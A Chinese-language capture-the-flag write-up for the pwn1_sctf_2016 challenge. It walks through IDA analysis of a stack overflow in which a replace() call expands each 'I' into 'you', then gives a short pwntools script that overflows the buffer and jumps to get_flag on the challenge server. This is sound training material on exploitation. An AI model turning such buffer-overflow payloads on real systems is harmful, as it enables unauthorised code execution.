当前位置:网站首页>pwn1_sctf_2016
pwn1_sctf_2016
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./pwn1_sctf_2016查看文件类型再checksec --file=pwn1_sctf_2016检查一下文件保护情况。

二、IDA反编译
用IDA Pro 32bit打开pwn1_sctf_2016后按F5反汇编源码并查看主函数,发现vuln()函数。

双击vuln()函数查看源码,分析后发现fgets()函数限制输入32个字节到变量s中,乍一看并没有超出可用栈大小。
再按一次F5后发现第19行的replace()函数会把输入的I替换成you,1个字符变成3个字符。 并且在第27行会对原来的s变量重新赋值。
在Functions window可以看到有一个get_flag()函数,按F5反汇编可以看到这是一个系统调用,且get_flag()函数的起始地址为0x8048F0D。

查看栈结构发现s的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20个I就能让栈溢出,然后db 4 dup(?) 还需要占用4个字节的内存,最后加上get_flag()函数的起始地址0x8048F0D构成payload。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 25314)
payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
这道题目的情况是多了个替换字符的函数,使得一个I在存储中变为you,一个字节变为三字节,这时候需要根据情况确定多少字符使得栈溢出。
还是照常的流程,但题目已经开始变化了,我现在还是一知半解迷迷糊糊的状态,
害,菜狗子还需努力。
边栏推荐
- After reading this article, thoroughly understand grpc!
- Wechat applet implements a global event bus by itself
- Lu Xia action | Source Kai Digital: Existing Mode or open source innovation?
- TAP 系列文章6 | TAP的应用模型
- 系列文章|云原生时代下微服务架构进阶之路 - 微服务拆分的最佳实践
- Structured Streaming 编程模型(Input Table、Result Table、Output Mode...)
- How are you preparing for the Android golden nine silver ten interview? The latest Android Interview Questions Summary helps you prepare for the war
- Tap series article 6 | application model of tap
- Principal component analysis (matlab)
- [redis] redis installation and client redis cli use (batch operation)
猜你喜欢

Tap series article 4 | backstage based tap developer portal

Tap series article 5 | cloud native build service

strncat() strncmp()

TOPSIS method (matlab)

Resolved (selenium operation Firefox Firefox browser error) attributeerror: 'webdriver' object has no attribute 'execute_ cdp_ cmd’

Analytic hierarchy process (matlab)

头插法创建链表并输出所有元素
![[web vulnerability exploration] SQL injection vulnerability](/img/94/dc84d7790d5a1823e4b73d513e86be.png)
[web vulnerability exploration] SQL injection vulnerability
![[redis] redis installation and client redis cli use (batch operation)](/img/d7/7500e99bc3cf172f895a47aec0b44c.png)
[redis] redis installation and client redis cli use (batch operation)

Getting started database days3
随机推荐
Tensorflow one layer neural network training handwritten digit recognition
Tap series article 7 | easy to manage pipeline configuration
FreeRTOS personal notes - delay function
No wonder the application effect of ERP in domestic enterprises is generally not ideal
TAP 系列文章8 | TAP 学习中心——通过动手教程来学习
TAP 系列文章7 | 易于管理的流水线配置
Three network modes of VMware virtual machine
1000 okaleido tiger launched binance NFT, triggering a rush to buy
After reading this article, thoroughly understand grpc!
Lixia action | Yuanqi Digitalization: existing mode or open source innovation?
Build your own target detection environment, model configuration, data configuration mmdetection
Brief analysis of compiling principle of.Net CLR R2R
Raspberry pie SSH login
dried food! Implicit sparse regularization effect in neural networks
[nuxt 3] (IX) server routing
How does the easynvr platform turn off anonymous login?
Contemporary inspirational "women"
1000个Okaleido Tiger首发上线Binance NFT,引发抢购热潮
Tap series article 9 | application development accelerator
[ CTF ]天格战队WriteUp-首届数字空间安全攻防大赛(初赛)